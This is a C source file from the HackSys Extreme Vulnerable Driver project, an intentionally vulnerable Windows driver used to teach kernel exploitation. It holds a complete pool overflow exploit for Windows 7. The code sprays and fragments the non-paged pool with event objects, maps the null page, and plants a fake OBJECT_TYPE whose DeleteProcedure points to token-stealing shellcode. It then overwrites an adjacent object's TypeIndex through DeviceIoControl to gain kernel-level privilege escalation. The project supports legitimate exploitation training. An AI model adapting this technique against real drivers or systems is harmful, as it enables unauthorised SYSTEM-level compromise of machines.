mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
Ashfaq Ansari
246 lines
8.8 KiB
C
246 lines
8.8 KiB
C
/*++
|
|
|
|
## ## ######## ## ## ########
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
######### ###### ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ######## ### ########
|
|
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq[at]payatu[dot]com
|
|
Website: http://www.payatu.com/
|
|
|
|
Copyright (C) 2011-2015 Payatu Technologies. All rights reserved.
|
|
|
|
This program is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU General Public License as published by
|
|
the Free Software Foundation, either version 3 of the License, or
|
|
(at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License
|
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
|
|
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS
|
|
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
|
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
|
|
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
|
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
|
|
See the file 'LICENSE' for complete copying permission.
|
|
|
|
Module Name:
|
|
PoolOverflow.c
|
|
|
|
Abstract:
|
|
This module implements the exploit for Pool Overflow
|
|
Vulnerability implemented in HackSys Extreme Vulnerable
|
|
Driver.
|
|
|
|
--*/
|
|
|
|
#include "PoolOverflow.h"
|
|
|
|
VOID SprayNonPagedPoolWithEventObjects() {
|
|
UINT32 i = 0;
|
|
|
|
RtlFillMemory(hReserveObjectArrayA, sizeof(hReserveObjectArrayA), 0x0);
|
|
RtlFillMemory(hReserveObjectArrayB, sizeof(hReserveObjectArrayB), 0x0);
|
|
|
|
for (i = 0; i < 10000; i++) {
|
|
hEventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
if (!hEventObjectArrayA[i]) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
for (i = 0; i < 5000; i++) {
|
|
hEventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
if (!hEventObjectArrayB[i]) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
|
|
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
|
|
UINT32 i = 0;
|
|
UINT32 j = 0;
|
|
|
|
for (i = 0; i < 5000; i += 16) {
|
|
for (j = 0; j < 8; j++) {
|
|
if (!CloseHandle(hEventObjectArrayB[i + j])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
VOID FreeEventObjects() {
|
|
UINT32 i = 0;
|
|
UINT32 j = 0;
|
|
|
|
for (i = 0; i < 10000; i++) {
|
|
if (!CloseHandle(hEventObjectArrayA[i])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
for (i = 8; i < 5000; i += 16) {
|
|
for (j = 0; j < 8; j++) {
|
|
if (!CloseHandle(hEventObjectArrayB[i + j])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI PoolOverflowThread(LPVOID lpParameter) {
|
|
HANDLE hFile = NULL;
|
|
PVOID pMemory = NULL;
|
|
DWORD lpBytesReturned;
|
|
PULONG pUserModeBuffer = NULL;
|
|
LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
|
|
PVOID pEopShellcode = &TokenStealingShellcodePoolOverflowWin7;
|
|
SIZE_T userModeBufferSize = (ULONG)(POOL_BUFFER_SIZE + TYPE_INDEX_OVERWRITE);
|
|
|
|
__try {
|
|
DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");
|
|
|
|
if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
|
|
}
|
|
|
|
// Get the device handle
|
|
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
|
|
DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);
|
|
|
|
hFile = GetDeviceHandle(lpFileName);
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
|
|
}
|
|
|
|
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
|
|
|
|
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
|
|
|
|
pUserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
|
|
HEAP_ZERO_MEMORY,
|
|
userModeBufferSize);
|
|
|
|
if (!pUserModeBuffer) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserModeBuffer);
|
|
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", userModeBufferSize);
|
|
}
|
|
|
|
DEBUG_INFO("\t\t[+] Mapping Null Page\n");
|
|
|
|
if (!MapNullPage()) {
|
|
DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
|
|
|
|
RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41);
|
|
pMemory = (PVOID)((ULONG)pUserModeBuffer + (ULONG)POOL_BUFFER_SIZE);
|
|
*(PULONG)pMemory = (ULONG)0x04080040;
|
|
pMemory = (PVOID)((ULONG)pMemory + 0x4);
|
|
*(PULONG)pMemory = (ULONG)0xee657645;
|
|
pMemory = (PVOID)((ULONG)pMemory + 0x4);
|
|
*(PULONG)pMemory = (ULONG)0x00000000;
|
|
pMemory = (PVOID)((ULONG)pMemory + 0x4);
|
|
*(PULONG)pMemory = (ULONG)0x00000040;
|
|
pMemory = (PVOID)((ULONG)pMemory + 0x4);
|
|
*(PULONG)pMemory = (ULONG)0x00000000;
|
|
pMemory = (PVOID)((ULONG)pMemory + 0x4);
|
|
*(PULONG)pMemory = (ULONG)0x00000000;
|
|
pMemory = (PVOID)((ULONG)pMemory + 0x4);
|
|
*(PULONG)pMemory = (ULONG)0x00000001;
|
|
pMemory = (PVOID)((ULONG)pMemory + 0x4);
|
|
*(PULONG)pMemory = (ULONG)0x00000001;
|
|
pMemory = (PVOID)((ULONG)pMemory + 0x4);
|
|
*(PULONG)pMemory = (ULONG)0x00000000;
|
|
pMemory = (PVOID)((ULONG)pMemory + 0x4);
|
|
*(PULONG)pMemory = (ULONG)0x00080000;
|
|
|
|
DEBUG_INFO("\t\t\t[+] TypeIndex Of Event Object Set To: 0x0\n");
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing OBJECT_TYPE At Null Page\n");
|
|
|
|
*(PULONG)0x00000060 = (ULONG)pEopShellcode;
|
|
|
|
DEBUG_INFO("\t\t\t[+] DeleteProcedure Value: 0x%X\n", *(PULONG)0x00000060);
|
|
DEBUG_INFO("\t\t\t[+] DeleteProcedure Address: 0x%p\n", (ULONG)0x00000060);
|
|
|
|
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n");
|
|
|
|
DEBUG_INFO("\t\t\t[+] Spraying With Event Objects\n");
|
|
|
|
SprayNonPagedPoolWithEventObjects();
|
|
|
|
DEBUG_INFO("\t\t\t[+] Creating Holes By Coalescing\n");
|
|
|
|
CreateHolesInNonPagedPoolByCoalescingEventObjects();
|
|
|
|
DEBUG_MESSAGE("\t[+] Triggering Pool Overflow\n");
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DeviceIoControl(hFile,
|
|
HACKSYS_EVD_IOCTL_POOL_OVERFLOW,
|
|
(LPVOID)pUserModeBuffer,
|
|
(DWORD)userModeBufferSize,
|
|
NULL,
|
|
0,
|
|
&lpBytesReturned,
|
|
NULL);
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DEBUG_INFO("\t\t[+] Triggering Payload\n");
|
|
|
|
DEBUG_INFO("\t\t\t[+] Freeing Event Objects\n");
|
|
|
|
FreeEventObjects();
|
|
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)pUserModeBuffer);
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|